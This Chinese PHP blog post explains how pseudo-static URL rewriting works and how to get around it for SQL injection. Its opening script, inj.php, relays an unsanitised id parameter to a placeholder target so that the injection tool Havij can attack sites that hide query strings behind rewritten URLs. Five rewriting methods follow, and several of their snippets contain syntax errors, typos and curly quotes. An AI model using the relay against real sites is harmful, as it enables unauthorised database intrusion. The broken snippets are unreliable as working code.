PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
php横向重复区域显示二法
Sep 25 PHP
PHP 抓取网页图片并且另存为的实现代码
Mar 24 PHP
php 网上商城促销设计实例代码
Feb 17 PHP
php打造属于自己的MVC框架
Mar 07 PHP
深入php var_dump()函数的详解
Jun 05 PHP
解析ajax事件的调用顺序
Jun 17 PHP
使用Discuz关键词服务器实现PHP中文分词
Mar 11 PHP
YiiFramework入门知识点总结(图文教程)
Dec 28 PHP
CI框架扩展系统核心类的方法分析
May 23 PHP
laravel创建类似ThinPHP中functions.php的全局函数
Nov 26 PHP
tp5(thinkPHP5)操作mongoDB数据库的方法
Jan 20 PHP
详解thinkphp的Auth类认证
May 28 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
PHP 高手之路(一)
2006/10/09 PHP
用PHP中的 == 运算符进行字符串比较
2006/11/26 PHP
FCKeditor的安装(PHP)
2007/01/13 PHP
PHP __autoload()方法真的影响性能吗?
2012/03/30 PHP
php生成随机密码自定义函数代码(简单快速)
2014/05/10 PHP
Yii2分页的使用及其扩展方法详解
2016/05/23 PHP
PHP扩展类型及安装方式解析
2020/04/27 PHP
ArrayList类(增强版)
2007/04/04 Javascript
javascript代码加载优化方法
2011/01/30 Javascript
javascript实现tabs选项卡切换效果(扩展版)
2013/03/19 Javascript
简介JavaScript中的sub()方法的使用
2015/06/08 Javascript
js实现表单Radio切换效果的方法
2015/08/17 Javascript
javascript多物体运动实现方法分析
2016/01/08 Javascript
JavaScript Array对象详解
2016/03/01 Javascript
用iframe实现不刷新整个页面上传图片的实例
2016/11/18 Javascript
javascript prototype原型详解(比较基础)
2016/12/26 Javascript
详解node中创建服务进程
2017/05/09 Javascript
angularjs实现简单的购物车功能
2017/09/21 Javascript
Vue 过滤器filters及基本用法
2017/12/26 Javascript
集成vue到jquery/bootstrap项目的方法
2018/02/10 jQuery
vue2.0 中使用transition实现动画效果使用心得
2018/08/13 Javascript
Vue实现导航栏的显示开关控制
2019/11/01 Javascript
vue中使用v-for时为什么不能用index作为key
2020/04/04 Javascript
[58:42]DOTA2上海特级锦标赛C组败者赛 Newbee VS Archon第一局
2016/02/27 DOTA
Python 40行代码实现人脸识别功能
2017/04/02 Python
使用Python和Scribus创建一个RGB立方体的方法
2019/07/17 Python
python Django 创建应用过程图示详解
2019/07/29 Python
Python代码注释规范代码实例解析
2020/08/14 Python
pycharm激活方法到2099年(激活流程)
2020/09/22 Python
美国最值得信赖的宠物药房:Allivet
2019/03/23 全球购物
物业保安员岗位职责
2014/03/14 职场文书
刊首寄语大全
2014/04/11 职场文书
数控技校生自我鉴定
2014/04/19 职场文书
公司演讲稿开场白
2014/08/25 职场文书
2014年国庆节演讲稿精选范文1500字
2014/09/25 职场文书
机器人瓦力观后感
2015/06/12 职场文书